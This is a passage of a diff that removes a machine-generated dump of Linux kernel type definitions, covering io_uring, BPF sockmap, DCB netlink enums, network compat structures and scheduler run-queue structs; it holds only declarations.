s; - struct akcipher_alg alg; - }; -}; - -struct crypto_akcipher_spawn { - struct crypto_spawn base; -}; - -struct rsa_asn1_template { - const char *name; - const u8 *data; - size_t size; -}; - -struct pkcs1pad_ctx { - struct crypto_akcipher *child; - unsigned int key_size; -}; - -struct pkcs1pad_inst_ctx { - struct crypto_akcipher_spawn spawn; - const struct rsa_asn1_template *digest_info; -}; - -struct pkcs1pad_request { - struct scatterlist in_sg[2]; - struct scatterlist out_sg[1]; - uint8_t *in_buf; - uint8_t *out_buf; - struct akcipher_request child_req; -}; - -struct RigidDiskBlock { - __u32 rdb_ID; - __be32 rdb_SummedLongs; - __s32 rdb_ChkSum; - __u32 rdb_HostID; - __be32 rdb_BlockBytes; - __u32 rdb_Flags; - __u32 rdb_BadBlockList; - __be32 rdb_PartitionList; - __u32 rdb_FileSysHeaderList; - __u32 rdb_DriveInit; - __u32 rdb_Reserved1[6]; - __u32 rdb_Cylinders; - __u32 rdb_Sectors; - __u32 rdb_Heads; - __u32 rdb_Interleave; - __u32 rdb_Park; - __u32 rdb_Reserved2[3]; - __u32 rdb_WritePreComp; - __u32 rdb_ReducedWrite; - __u32 rdb_StepRate; - __u32 rdb_Reserved3[5]; - __u32 rdb_RDBBlocksLo; - __u32 rdb_RDBBlocksHi; - __u32 rdb_LoCylinder; - __u32 rdb_HiCylinder; - __u32 rdb_CylBlocks; - __u32 rdb_AutoParkSeconds; - __u32 rdb_HighRDSKBlock; - __u32 rdb_Reserved4; - char rdb_DiskVendor[8]; - char rdb_DiskProduct[16]; - char rdb_DiskRevision[4]; - char rdb_ControllerVendor[8]; - char rdb_ControllerProduct[16]; - char rdb_ControllerRevision[4]; - __u32 rdb_Reserved5[10]; -}; - -struct PartitionBlock { - __be32 pb_ID; - __be32 pb_SummedLongs; - __s32 pb_ChkSum; - __u32 pb_HostID; - __be32 pb_Next; - __u32 pb_Flags; - __u32 pb_Reserved1[2]; - __u32 pb_DevFlags; - __u8 pb_DriveName[32]; - __u32 pb_Reserved2[15]; - __be32 pb_Environment[17]; - __u32 pb_EReserved[15]; -}; - -enum { - IORING_CQE_BUFFER_SHIFT = 16, -}; - -struct io_uring_buf_reg { - __u64 ring_addr; - __u32 ring_entries; - __u16 bgid; - __u16 pad; - __u64 resv[3]; -}; - -struct io_provide_buf { - struct file *file; - __u64 addr; - __u32 len; - __u32 bgid; - __u16 nbufs; - __u16 bid; -}; - -enum sys_off_mode { - SYS_OFF_MODE_POWER_OFF_PREPARE = 0, - SYS_OFF_MODE_POWER_OFF = 1, - SYS_OFF_MODE_RESTART_PREPARE = 2, - SYS_OFF_MODE_RESTART = 3, -}; - -struct sys_off_data { - int mode; - void *cb_data; - const char *cmd; -}; - -struct sys_off_handler; - -struct serial8250_config { - const char *name; - short unsigned int fifo_size; - short unsigned int tx_loadsz; - unsigned char fcr; - unsigned char rxtrig_bytes[4]; - unsigned int flags; -}; - -struct firmware_map_entry { - u64 start; - u64 end; - const char *type; - struct list_head list; - struct kobject kobj; -}; - -struct memmap_attribute { - struct attribute attr; - ssize_t (*show)(struct firmware_map_entry *, char *); -}; - -struct __kernel_old_timespec { - __kernel_old_time_t tv_sec; - long int tv_nsec; -}; - -struct __kernel_sock_timeval { - __s64 tv_sec; - __s64 tv_usec; -}; - -struct bpf_empty_prog_array { - struct bpf_prog_array hdr; - struct bpf_prog *null_prog; -}; - -struct user_msghdr { - void *msg_name; - int msg_namelen; - struct iovec *msg_iov; - __kernel_size_t msg_iovlen; - void *msg_control; - __kernel_size_t msg_controllen; - unsigned int msg_flags; -}; - -struct mmsghdr { - struct user_msghdr msg_hdr; - unsigned int msg_len; -}; - -enum sock_shutdown_cmd { - SHUT_RD = 0, - SHUT_WR = 1, - SHUT_RDWR = 2, -}; - -struct ifconf { - int ifc_len; - union { - char *ifcu_buf; - struct ifreq *ifcu_req; - } ifc_ifcu; -}; - -struct scm_ts_pktinfo { - __u32 if_index; - __u32 pkt_length; - __u32 reserved[2]; -}; - -typedef u32 compat_size_t; - -typedef s32 compat_int_t; - -typedef u32 compat_uint_t; - -typedef u32 compat_ulong_t; - -typedef u32 compat_uptr_t; - -typedef u32 compat_caddr_t; - -struct compat_ifmap { - compat_ulong_t mem_start; - compat_ulong_t mem_end; - short unsigned int base_addr; - unsigned char irq; - unsigned char dma; - unsigned char port; -}; - -struct compat_if_settings { - unsigned int type; - unsigned int size; - compat_uptr_t ifs_ifsu; -}; - -struct compat_ifreq { - union { - char ifrn_name[16]; - } ifr_ifrn; - union { - struct sockaddr ifru_addr; - struct sockaddr ifru_dstaddr; - struct sockaddr ifru_broadaddr; - struct sockaddr ifru_netmask; - struct sockaddr ifru_hwaddr; - short int ifru_flags; - compat_int_t ifru_ivalue; - compat_int_t ifru_mtu; - struct compat_ifmap ifru_map; - char ifru_slave[16]; - char ifru_newname[16]; - compat_caddr_t ifru_data; - struct compat_if_settings ifru_settings; - } ifr_ifru; -}; - -struct compat_msghdr { - compat_uptr_t msg_name; - compat_int_t msg_namelen; - compat_uptr_t msg_iov; - compat_size_t msg_iovlen; - compat_uptr_t msg_control; - compat_size_t msg_controllen; - compat_uint_t msg_flags; -}; - -struct compat_mmsghdr { - struct compat_msghdr msg_hdr; - compat_uint_t msg_len; -}; - -struct net_bridge; - -struct used_address { - struct __kernel_sockaddr_storage name; - unsigned int name_len; -}; - -enum ip6_defrag_users { - IP6_DEFRAG_LOCAL_DELIVER = 0, - IP6_DEFRAG_CONNTRACK_IN = 1, - __IP6_DEFRAG_CONNTRACK_IN = 65536, - IP6_DEFRAG_CONNTRACK_OUT = 65537, - __IP6_DEFRAG_CONNTRACK_OUT = 131072, - IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 131073, - __IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 196608, -}; - -enum perf_rapl_events { - PERF_RAPL_PP0 = 0, - PERF_RAPL_PKG = 1, - PERF_RAPL_RAM = 2, - PERF_RAPL_PP1 = 3, - PERF_RAPL_PSYS = 4, - PERF_RAPL_MAX = 5, - NR_RAPL_DOMAINS = 5, -}; - -struct rapl_pmu { - raw_spinlock_t lock; - int n_active; - int cpu; - struct list_head active_list; - struct pmu *pmu; - ktime_t timer_interval; - struct hrtimer hrtimer; -}; - -struct rapl_pmus { - struct pmu pmu; - unsigned int maxdie; - struct rapl_pmu *pmus[0]; -}; - -enum rapl_unit_quirk { - RAPL_UNIT_QUIRK_NONE = 0, - RAPL_UNIT_QUIRK_INTEL_HSW = 1, - RAPL_UNIT_QUIRK_INTEL_SPR = 2, -}; - -struct rapl_model { - struct perf_msr *rapl_msrs; - long unsigned int events; - unsigned int msr_power_unit; - enum rapl_unit_quirk unit_quirk; -}; - -enum reboot_type { - BOOT_TRIPLE = 116, - BOOT_KBD = 107, - BOOT_BIOS = 98, - BOOT_ACPI = 97, - BOOT_EFI = 101, - BOOT_CF9_FORCE = 112, - BOOT_CF9_SAFE = 113, -}; - -struct sys_off_handler { - struct notifier_block nb; - int (*sys_off_cb)(struct sys_off_data *); - void *cb_data; - enum sys_off_mode mode; - bool blocking; - void *list; -}; - -struct ksignal { - struct k_sigaction ka; - kernel_siginfo_t info; - int sig; -}; - -struct trace_event_raw_sys_enter { - struct trace_entry ent; - long int id; - long unsigned int args[6]; - char __data[0]; -}; - -struct trace_event_raw_sys_exit { - struct trace_entry ent; - long int id; - long int ret; - char __data[0]; -}; - -struct trace_event_data_offsets_sys_enter {}; - -struct trace_event_data_offsets_sys_exit {}; - -typedef void (*btf_trace_sys_enter)(void *, struct pt_regs *, long int); - -typedef void (*btf_trace_sys_exit)(void *, struct pt_regs *, long int); - -struct bpf_event_entry { - struct perf_event *event; - struct file *perf_file; - struct file *map_file; - struct callback_head rcu; -}; - -struct bpf_iter__bpf_map_elem { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_map *map; - }; - union { - void *key; - }; - union { - void *value; - }; -}; - -enum bpf_text_poke_type { - BPF_MOD_CALL = 0, - BPF_MOD_JUMP = 1, -}; - -struct bpf_iter_seq_array_map_info { - struct bpf_map *map; - void *percpu_value_buf; - u32 index; -}; - -struct prog_poke_elem { - struct list_head list; - struct bpf_prog_aux *aux; -}; - -typedef int __kernel_daddr_t; - -struct ustat { - __kernel_daddr_t f_tfree; - long unsigned int f_tinode; - char f_fname[6]; - char f_fpack[6]; -}; - -struct statfs { - __kernel_long_t f_type; - __kernel_long_t f_bsize; - __kernel_long_t f_blocks; - __kernel_long_t f_bfree; - __kernel_long_t f_bavail; - __kernel_long_t f_files; - __kernel_long_t f_ffree; - __kernel_fsid_t f_fsid; - __kernel_long_t f_namelen; - __kernel_long_t f_frsize; - __kernel_long_t f_flags; - __kernel_long_t f_spare[4]; -}; - -struct statfs64 { - __kernel_long_t f_type; - __kernel_long_t f_bsize; - __u64 f_blocks; - __u64 f_bfree; - __u64 f_bavail; - __u64 f_files; - __u64 f_ffree; - __kernel_fsid_t f_fsid; - __kernel_long_t f_namelen; - __kernel_long_t f_frsize; - __kernel_long_t f_flags; - __kernel_long_t f_spare[4]; -}; - -typedef struct { - __le32 *p; - __le32 key; - struct buffer_head *bh; -} Indirect; - -struct mac_partition { - __be16 signature; - __be16 res1; - __be32 map_count; - __be32 start_block; - __be32 block_count; - char name[32]; - char type[32]; - __be32 data_start; - __be32 data_count; - __be32 status; - __be32 boot_start; - __be32 boot_size; - __be32 boot_load; - __be32 boot_load2; - __be32 boot_entry; - __be32 boot_entry2; - __be32 boot_cksum; - char processor[16]; -}; - -struct mac_driver_desc { - __be16 signature; - __be16 block_size; - __be32 block_count; -}; - -enum { - IOSQE_FIXED_FILE_BIT = 0, - IOSQE_IO_DRAIN_BIT = 1, - IOSQE_IO_LINK_BIT = 2, - IOSQE_IO_HARDLINK_BIT = 3, - IOSQE_ASYNC_BIT = 4, - IOSQE_BUFFER_SELECT_BIT = 5, - IOSQE_CQE_SKIP_SUCCESS_BIT = 6, -}; - -enum { - IORING_REGISTER_BUFFERS = 0, - IORING_UNREGISTER_BUFFERS = 1, - IORING_REGISTER_FILES = 2, - IORING_UNREGISTER_FILES = 3, - IORING_REGISTER_EVENTFD = 4, - IORING_UNREGISTER_EVENTFD = 5, - IORING_REGISTER_FILES_UPDATE = 6, - IORING_REGISTER_EVENTFD_ASYNC = 7, - IORING_REGISTER_PROBE = 8, - IORING_REGISTER_PERSONALITY = 9, - IORING_UNREGISTER_PERSONALITY = 10, - IORING_REGISTER_RESTRICTIONS = 11, - IORING_REGISTER_ENABLE_RINGS = 12, - IORING_REGISTER_FILES2 = 13, - IORING_REGISTER_FILES_UPDATE2 = 14, - IORING_REGISTER_BUFFERS2 = 15, - IORING_REGISTER_BUFFERS_UPDATE = 16, - IORING_REGISTER_IOWQ_AFF = 17, - IORING_UNREGISTER_IOWQ_AFF = 18, - IORING_REGISTER_IOWQ_MAX_WORKERS = 19, - IORING_REGISTER_RING_FDS = 20, - IORING_UNREGISTER_RING_FDS = 21, - IORING_REGISTER_PBUF_RING = 22, - IORING_UNREGISTER_PBUF_RING = 23, - IORING_REGISTER_SYNC_CANCEL = 24, - IORING_REGISTER_FILE_ALLOC_RANGE = 25, - IORING_REGISTER_LAST = 26, -}; - -struct bpf_stab { - struct bpf_map map; - struct sock **sks; - struct sk_psock_progs progs; - raw_spinlock_t lock; - long: 64; - long: 64; - long: 64; -}; - -typedef u64 (*btf_bpf_sock_map_update)(struct bpf_sock_ops_kern *, struct bpf_map *, void *, u64); - -typedef u64 (*btf_bpf_sk_redirect_map)(struct sk_buff *, struct bpf_map *, u32, u64); - -typedef u64 (*btf_bpf_msg_redirect_map)(struct sk_msg *, struct bpf_map *, u32, u64); - -struct sock_map_seq_info { - struct bpf_map *map; - struct sock *sk; - u32 index; -}; - -struct bpf_iter__sockmap { - union { - struct bpf_iter_meta *meta; - }; - union { - struct bpf_map *map; - }; - union { - void *key; - }; - union { - struct sock *sk; - }; -}; - -struct bpf_shtab_elem { - struct callback_head rcu; - u32 hash; - struct sock *sk; - struct hlist_node node; - u8 key[0]; -}; - -struct bpf_shtab_bucket { - struct hlist_head head; - raw_spinlock_t lock; -}; - -struct bpf_shtab { - struct bpf_map map; - struct bpf_shtab_bucket *buckets; - u32 buckets_num; - u32 elem_size; - struct sk_psock_progs progs; - atomic_t count; - long: 64; -}; - -typedef u64 (*btf_bpf_sock_hash_update)(struct bpf_sock_ops_kern *, struct bpf_map *, void *, u64); - -typedef u64 (*btf_bpf_sk_redirect_hash)(struct sk_buff *, struct bpf_map *, void *, u64); - -typedef u64 (*btf_bpf_msg_redirect_hash)(struct sk_msg *, struct bpf_map *, void *, u64); - -struct sock_hash_seq_info { - struct bpf_map *map; - struct bpf_shtab *htab; - u32 bucket_id; -}; - -struct xt_state_info { - unsigned int statemask; -}; - -struct rtmsg { - unsigned char rtm_family; - unsigned char rtm_dst_len; - unsigned char rtm_src_len; - unsigned char rtm_tos; - unsigned char rtm_table; - unsigned char rtm_protocol; - unsigned char rtm_scope; - unsigned char rtm_type; - unsigned int rtm_flags; -}; - -struct rtnexthop { - short unsigned int rtnh_len; - unsigned char rtnh_flags; - unsigned char rtnh_hops; - int rtnh_ifindex; -}; - -struct rta_mfc_stats { - __u64 mfcs_packets; - __u64 mfcs_bytes; - __u64 mfcs_wrong_if; -}; - -struct fib_dump_filter { - u32 table_id; - bool filter_set; - bool dump_routes; - bool dump_exceptions; - unsigned char protocol; - unsigned char rt_type; - unsigned int flags; - struct net_device *dev; -}; - -struct vif_entry_notifier_info { - struct fib_notifier_info info; - struct net_device *dev; - short unsigned int vif_index; - short unsigned int vif_flags; - u32 tb_id; -}; - -enum { - MFC_STATIC = 1, - MFC_OFFLOAD = 2, -}; - -struct mr_mfc { - struct rhlist_head mnode; - short unsigned int mfc_parent; - int mfc_flags; - union { - struct { - long unsigned int expires; - struct sk_buff_head unresolved; - } unres; - struct { - long unsigned int last_assert; - int minvif; - int maxvif; - long unsigned int bytes; - long unsigned int pkt; - long unsigned int wrong_if; - long unsigned int lastuse; - unsigned char ttls[32]; - refcount_t refcount; - } res; - } mfc_un; - struct list_head list; - struct callback_head rcu; - void (*free)(struct callback_head *); -}; - -struct mfc_entry_notifier_info { - struct fib_notifier_info info; - struct mr_mfc *mfc; - u32 tb_id; -}; - -struct mr_vif_iter { - struct seq_net_private p; - struct mr_table *mrt; - int ct; -}; - -struct mr_mfc_iter { - struct seq_net_private p; - struct mr_table *mrt; - struct list_head *cache; - spinlock_t *lock; -}; - -struct dcbmsg { - __u8 dcb_family; - __u8 cmd; - __u16 dcb_pad; -}; - -enum dcbnl_commands { - DCB_CMD_UNDEFINED = 0, - DCB_CMD_GSTATE = 1, - DCB_CMD_SSTATE = 2, - DCB_CMD_PGTX_GCFG = 3, - DCB_CMD_PGTX_SCFG = 4, - DCB_CMD_PGRX_GCFG = 5, - DCB_CMD_PGRX_SCFG = 6, - DCB_CMD_PFC_GCFG = 7, - DCB_CMD_PFC_SCFG = 8, - DCB_CMD_SET_ALL = 9, - DCB_CMD_GPERM_HWADDR = 10, - DCB_CMD_GCAP = 11, - DCB_CMD_GNUMTCS = 12, - DCB_CMD_SNUMTCS = 13, - DCB_CMD_PFC_GSTATE = 14, - DCB_CMD_PFC_SSTATE = 15, - DCB_CMD_BCN_GCFG = 16, - DCB_CMD_BCN_SCFG = 17, - DCB_CMD_GAPP = 18, - DCB_CMD_SAPP = 19, - DCB_CMD_IEEE_SET = 20, - DCB_CMD_IEEE_GET = 21, - DCB_CMD_GDCBX = 22, - DCB_CMD_SDCBX = 23, - DCB_CMD_GFEATCFG = 24, - DCB_CMD_SFEATCFG = 25, - DCB_CMD_CEE_GET = 26, - DCB_CMD_IEEE_DEL = 27, - __DCB_CMD_ENUM_MAX = 28, - DCB_CMD_MAX = 27, -}; - -enum dcbnl_attrs { - DCB_ATTR_UNDEFINED = 0, - DCB_ATTR_IFNAME = 1, - DCB_ATTR_STATE = 2, - DCB_ATTR_PFC_STATE = 3, - DCB_ATTR_PFC_CFG = 4, - DCB_ATTR_NUM_TC = 5, - DCB_ATTR_PG_CFG = 6, - DCB_ATTR_SET_ALL = 7, - DCB_ATTR_PERM_HWADDR = 8, - DCB_ATTR_CAP = 9, - DCB_ATTR_NUMTCS = 10, - DCB_ATTR_BCN = 11, - DCB_ATTR_APP = 12, - DCB_ATTR_IEEE = 13, - DCB_ATTR_DCBX = 14, - DCB_ATTR_FEATCFG = 15, - DCB_ATTR_CEE = 16, - __DCB_ATTR_ENUM_MAX = 17, - DCB_ATTR_MAX = 16, -}; - -enum ieee_attrs { - DCB_ATTR_IEEE_UNSPEC = 0, - DCB_ATTR_IEEE_ETS = 1, - DCB_ATTR_IEEE_PFC = 2, - DCB_ATTR_IEEE_APP_TABLE = 3, - DCB_ATTR_IEEE_PEER_ETS = 4, - DCB_ATTR_IEEE_PEER_PFC = 5, - DCB_ATTR_IEEE_PEER_APP = 6, - DCB_ATTR_IEEE_MAXRATE = 7, - DCB_ATTR_IEEE_QCN = 8, - DCB_ATTR_IEEE_QCN_STATS = 9, - DCB_ATTR_DCB_BUFFER = 10, - DCB_ATTR_DCB_APP_TRUST_TABLE = 11, - __DCB_ATTR_IEEE_MAX = 12, -}; - -enum ieee_attrs_app { - DCB_ATTR_IEEE_APP_UNSPEC = 0, - DCB_ATTR_IEEE_APP = 1, - DCB_ATTR_DCB_APP = 2, - __DCB_ATTR_IEEE_APP_MAX = 3, -}; - -enum cee_attrs { - DCB_ATTR_CEE_UNSPEC = 0, - DCB_ATTR_CEE_PEER_PG = 1, - DCB_ATTR_CEE_PEER_PFC = 2, - DCB_ATTR_CEE_PEER_APP_TABLE = 3, - DCB_ATTR_CEE_TX_PG = 4, - DCB_ATTR_CEE_RX_PG = 5, - DCB_ATTR_CEE_PFC = 6, - DCB_ATTR_CEE_APP_TABLE = 7, - DCB_ATTR_CEE_FEAT = 8, - __DCB_ATTR_CEE_MAX = 9, -}; - -enum peer_app_attr { - DCB_ATTR_CEE_PEER_APP_UNSPEC = 0, - DCB_ATTR_CEE_PEER_APP_INFO = 1, - DCB_ATTR_CEE_PEER_APP = 2, - __DCB_ATTR_CEE_PEER_APP_MAX = 3, -}; - -enum dcbnl_pfc_up_attrs { - DCB_PFC_UP_ATTR_UNDEFINED = 0, - DCB_PFC_UP_ATTR_0 = 1, - DCB_PFC_UP_ATTR_1 = 2, - DCB_PFC_UP_ATTR_2 = 3, - DCB_PFC_UP_ATTR_3 = 4, - DCB_PFC_UP_ATTR_4 = 5, - DCB_PFC_UP_ATTR_5 = 6, - DCB_PFC_UP_ATTR_6 = 7, - DCB_PFC_UP_ATTR_7 = 8, - DCB_PFC_UP_ATTR_ALL = 9, - __DCB_PFC_UP_ATTR_ENUM_MAX = 10, - DCB_PFC_UP_ATTR_MAX = 9, -}; - -enum dcbnl_pg_attrs { - DCB_PG_ATTR_UNDEFINED = 0, - DCB_PG_ATTR_TC_0 = 1, - DCB_PG_ATTR_TC_1 = 2, - DCB_PG_ATTR_TC_2 = 3, - DCB_PG_ATTR_TC_3 = 4, - DCB_PG_ATTR_TC_4 = 5, - DCB_PG_ATTR_TC_5 = 6, - DCB_PG_ATTR_TC_6 = 7, - DCB_PG_ATTR_TC_7 = 8, - DCB_PG_ATTR_TC_MAX = 9, - DCB_PG_ATTR_TC_ALL = 10, - DCB_PG_ATTR_BW_ID_0 = 11, - DCB_PG_ATTR_BW_ID_1 = 12, - DCB_PG_ATTR_BW_ID_2 = 13, - DCB_PG_ATTR_BW_ID_3 = 14, - DCB_PG_ATTR_BW_ID_4 = 15, - DCB_PG_ATTR_BW_ID_5 = 16, - DCB_PG_ATTR_BW_ID_6 = 17, - DCB_PG_ATTR_BW_ID_7 = 18, - DCB_PG_ATTR_BW_ID_MAX = 19, - DCB_PG_ATTR_BW_ID_ALL = 20, - __DCB_PG_ATTR_ENUM_MAX = 21, - DCB_PG_ATTR_MAX = 20, -}; - -enum dcbnl_tc_attrs { - DCB_TC_ATTR_PARAM_UNDEFINED = 0, - DCB_TC_ATTR_PARAM_PGID = 1, - DCB_TC_ATTR_PARAM_UP_MAPPING = 2, - DCB_TC_ATTR_PARAM_STRICT_PRIO = 3, - DCB_TC_ATTR_PARAM_BW_PCT = 4, - DCB_TC_ATTR_PARAM_ALL = 5, - __DCB_TC_ATTR_PARAM_ENUM_MAX = 6, - DCB_TC_ATTR_PARAM_MAX = 5, -}; - -enum dcbnl_cap_attrs { - DCB_CAP_ATTR_UNDEFINED = 0, - DCB_CAP_ATTR_ALL = 1, - DCB_CAP_ATTR_PG = 2, - DCB_CAP_ATTR_PFC = 3, - DCB_CAP_ATTR_UP2TC = 4, - DCB_CAP_ATTR_PG_TCS = 5, - DCB_CAP_ATTR_PFC_TCS = 6, - DCB_CAP_ATTR_GSP = 7, - DCB_CAP_ATTR_BCN = 8, - DCB_CAP_ATTR_DCBX = 9, - __DCB_CAP_ATTR_ENUM_MAX = 10, - DCB_CAP_ATTR_MAX = 9, -}; - -enum dcbnl_numtcs_attrs { - DCB_NUMTCS_ATTR_UNDEFINED = 0, - DCB_NUMTCS_ATTR_ALL = 1, - DCB_NUMTCS_ATTR_PG = 2, - DCB_NUMTCS_ATTR_PFC = 3, - __DCB_NUMTCS_ATTR_ENUM_MAX = 4, - DCB_NUMTCS_ATTR_MAX = 3, -}; - -enum dcbnl_bcn_attrs { - DCB_BCN_ATTR_UNDEFINED = 0, - DCB_BCN_ATTR_RP_0 = 1, - DCB_BCN_ATTR_RP_1 = 2, - DCB_BCN_ATTR_RP_2 = 3, - DCB_BCN_ATTR_RP_3 = 4, - DCB_BCN_ATTR_RP_4 = 5, - DCB_BCN_ATTR_RP_5 = 6, - DCB_BCN_ATTR_RP_6 = 7, - DCB_BCN_ATTR_RP_7 = 8, - DCB_BCN_ATTR_RP_ALL = 9, - DCB_BCN_ATTR_BCNA_0 = 10, - DCB_BCN_ATTR_BCNA_1 = 11, - DCB_BCN_ATTR_ALPHA = 12, - DCB_BCN_ATTR_BETA = 13, - DCB_BCN_ATTR_GD = 14, - DCB_BCN_ATTR_GI = 15, - DCB_BCN_ATTR_TMAX = 16, - DCB_BCN_ATTR_TD = 17, - DCB_BCN_ATTR_RMIN = 18, - DCB_BCN_ATTR_W = 19, - DCB_BCN_ATTR_RD = 20, - DCB_BCN_ATTR_RU = 21, - DCB_BCN_ATTR_WRTT = 22, - DCB_BCN_ATTR_RI = 23, - DCB_BCN_ATTR_C = 24, - DCB_BCN_ATTR_ALL = 25, - __DCB_BCN_ATTR_ENUM_MAX = 26, - DCB_BCN_ATTR_MAX = 25, -}; - -enum dcb_general_attr_values { - DCB_ATTR_VALUE_UNDEFINED = 255, -}; - -enum dcbnl_app_attrs { - DCB_APP_ATTR_UNDEFINED = 0, - DCB_APP_ATTR_IDTYPE = 1, - DCB_APP_ATTR_ID = 2, - DCB_APP_ATTR_PRIORITY = 3, - __DCB_APP_ATTR_ENUM_MAX = 4, - DCB_APP_ATTR_MAX = 3, -}; - -enum dcbnl_featcfg_attrs { - DCB_FEATCFG_ATTR_UNDEFINED = 0, - DCB_FEATCFG_ATTR_ALL = 1, - DCB_FEATCFG_ATTR_PG = 2, - DCB_FEATCFG_ATTR_PFC = 3, - DCB_FEATCFG_ATTR_APP = 4, - __DCB_FEATCFG_ATTR_ENUM_MAX = 5, - DCB_FEATCFG_ATTR_MAX = 4, -}; - -struct dcb_app_type { - int ifindex; - struct dcb_app app; - struct list_head list; - u8 dcbx; -}; - -struct dcb_ieee_app_prio_map { - u64 map[8]; -}; - -struct dcb_ieee_app_dscp_map { - u8 map[64]; -}; - -enum dcbevent_notif_type { - DCB_APP_EVENT = 1, -}; - -struct reply_func { - int type; - int (*cb)(struct net_device *, struct nlmsghdr *, u32, struct nlattr **, struct sk_buff *); -}; - -union cpuid_0x80000022_ebx { - struct { - unsigned int num_core_pmc: 4; - unsigned int lbr_v2_stack_sz: 6; - unsigned int num_df_pmc: 6; - } split; - unsigned int full; -}; - -typedef void amd_pmu_branch_reset_t(); - -enum tlb_flush_reason { - TLB_FLUSH_ON_TASK_SWITCH = 0, - TLB_REMOTE_SHOOTDOWN = 1, - TLB_LOCAL_SHOOTDOWN = 2, - TLB_LOCAL_MM_SHOOTDOWN = 3, - TLB_REMOTE_SEND_IPI = 4, - NR_TLB_FLUSH_REASONS = 5, -}; - -struct tlb_state_shared { - bool is_lazy; -}; - -struct flush_tlb_info { - struct mm_struct *mm; - long unsigned int start; - long unsigned int end; - u64 new_tlb_gen; - unsigned int initiating_cpu; - u8 stride_shift; - u8 freed_tables; -}; - -struct pin_cookie { - unsigned int val; -}; - -struct dl_bw { - raw_spinlock_t lock; - u64 bw; - u64 total_bw; -}; - -struct cpudl_item; - -struct cpudl { - raw_spinlock_t lock; - int size; - cpumask_var_t free_cpus; - struct cpudl_item *elements; -}; - -struct cpupri_vec { - atomic_t count; - cpumask_var_t mask; -}; - -struct cpupri { - struct cpupri_vec pri_to_cpu[101]; - int *cpu_to_pri; -}; - -struct perf_domain; - -struct root_domain { - atomic_t refcount; - atomic_t rto_count; - struct callback_head rcu; - cpumask_var_t span; - cpumask_var_t online; - int overload; - int overutilized; - cpumask_var_t dlo_mask; - atomic_t dlo_count; - struct dl_bw dl_bw; - struct cpudl cpudl; - u64 visit_gen; - struct irq_work rto_push_work; - raw_spinlock_t rto_lock; - int rto_loop; - int rto_cpu; - atomic_t rto_loop_next; - atomic_t rto_loop_start; - cpumask_var_t rto_mask; - struct cpupri cpupri; - long unsigned int max_cpu_capacity; - struct perf_domain *pd; -}; - -struct cfs_rq { - struct load_weight load; - unsigned int nr_running; - unsigned int h_nr_running; - unsigned int idle_nr_running; - unsigned int idle_h_nr_running; - u64 exec_clock; - u64 min_vruntime; - struct rb_root_cached tasks_timeline; - struct sched_entity *curr; - struct sched_entity *next; - struct sched_entity *last; - struct sched_entity *skip; - unsigned int nr_spread_over; - long: 64; - long: 64; - long: 64; - struct sched_avg avg; - struct { - raw_spinlock_t lock; - int nr; - long unsigned int load_avg; - long unsigned int util_avg; - long unsigned int runnable_avg; - long: 64; - long: 64; - long: 64; - long: 64; - } removed; - long unsigned int tg_load_avg_contrib; - long int propagate; - long int prop_runnable_sum; - long unsigned int h_load; - u64 last_h_load_update; - struct sched_entity *h_load_next; - struct rq *rq; - int on_list; - struct list_head leaf_cfs_rq_list; - struct task_group *tg; - int idle; - int runtime_enabled; - s64 runtime_remaining; - u64 throttled_pelt_idle; - u64 throttled_clock; - u64 throttled_clock_pelt; - u64 throttled_clock_pelt_time; - int throttled; - int throttle_count; - struct list_head throttled_list; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct cfs_bandwidth { - raw_spinlock_t lock; - ktime_t period; - u64 quota; - u64 runtime; - u64 burst; - u64 runtime_snap; - s64 hierarchical_quota; - u8 idle; - u8 period_active; - u8 slack_started; - struct hrtimer period_timer; - struct hrtimer slack_timer; - struct list_head throttled_cfs_rq; - int nr_periods; - int nr_throttled; - int nr_burst; - u64 throttled_time; - u64 burst_time; -}; - -struct task_group { - struct cgroup_subsys_state css; - struct sched_entity **se; - struct cfs_rq **cfs_rq; - long unsigned int shares; - int idle; - long: 64; - atomic_long_t load_avg; - struct callback_head rcu; - struct list_head list; - struct task_group *parent; - struct list_head siblings; - struct list_head children; - struct cfs_bandwidth cfs_bandwidth; - long: 64; -}; - -struct kernel_cpustat { - u64 cpustat[10]; -}; - -struct sched_group { - struct sched_group *next; - atomic_t ref; - unsigned int group_weight; - struct sched_group_capacity *sgc; - int asym_prefer_cpu; - int flags; - long unsigned int cpumask[0]; -}; - -struct sched_group_capacity { - atomic_t ref; - long unsigned int capacity; - long unsigned int min_capacity; - long unsigned int max_capacity; - long unsigned int next_update; - int imbalance; - int id; - long unsigned int cpumask[0]; -}; - -struct em_perf_state { - long unsigned int frequency; - long unsigned int power; - long unsigned int cost; - long unsigned int flags; -}; - -struct em_perf_domain { - struct em_perf_state *table; - int nr_perf_states; - long unsigned int flags; - long unsigned int cpus[0]; -}; - -struct sched_attr { - __u32 size; - __u32 sched_policy; - __u64 sched_flags; - __s32 sched_nice; - __u32 sched_priority; - __u64 sched_runtime; - __u64 sched_deadline; - __u64 sched_period; - __u32 sched_util_min; - __u32 sched_util_max; -}; - -struct cpudl_item { - u64 dl; - int cpu; - int idx; -}; - -struct rt_prio_array { - long unsigned int bitmap[2]; - struct list_head queue[100]; -}; - -struct rt_bandwidth { - raw_spinlock_t rt_runtime_lock; - ktime_t rt_period; - u64 rt_runtime; - struct hrtimer rt_period_timer; - unsigned int rt_period_active; -}; - -struct dl_bandwidth { - raw_spinlock_t dl_runtime_lock; - u64 dl_runtime; - u64 dl_period; -}; - -struct rt_rq { - struct rt_prio_array active; - unsigned int rt_nr_running; - unsigned int rr_nr_running; - struct { - int curr; - int next; - } highest_prio; - unsigned int rt_nr_migratory; - unsigned int rt_nr_total; - int overloaded; - struct plist_head pushable_tasks; - int rt_queued; - int rt_throttled; - u64 rt_time; - u64 rt_runtime; - raw_spinlock_t rt_runtime_lock; -}; - -struct dl_rq { - struct rb_root_cached root; - unsigned int dl_nr_running; - struct { - u64 curr; - u64 next; - } earliest_dl; - unsigned int dl_nr_migratory; - int overloaded; - struct rb_root_cached pushable_dl_tasks_root; - u64 running_bw; - u64 this_bw; - u64 extra_bw; - u64 bw_ratio; -}; - -struct balance_callback; - -struct rq { - raw_spinlock_t __lock; - unsigned int nr_running; - unsigned int nr_numa_running; - unsigned int nr_preferred_running; - unsigned int numa_migrate_on; - long unsigned int last_blocked_load_update_tick; - unsigned int has_blocked_load; - call_single_data_t nohz_csd; - unsigned int nohz_tick_stopped; - atomic_t nohz_flags; - unsigned int ttwu_pending; - u64 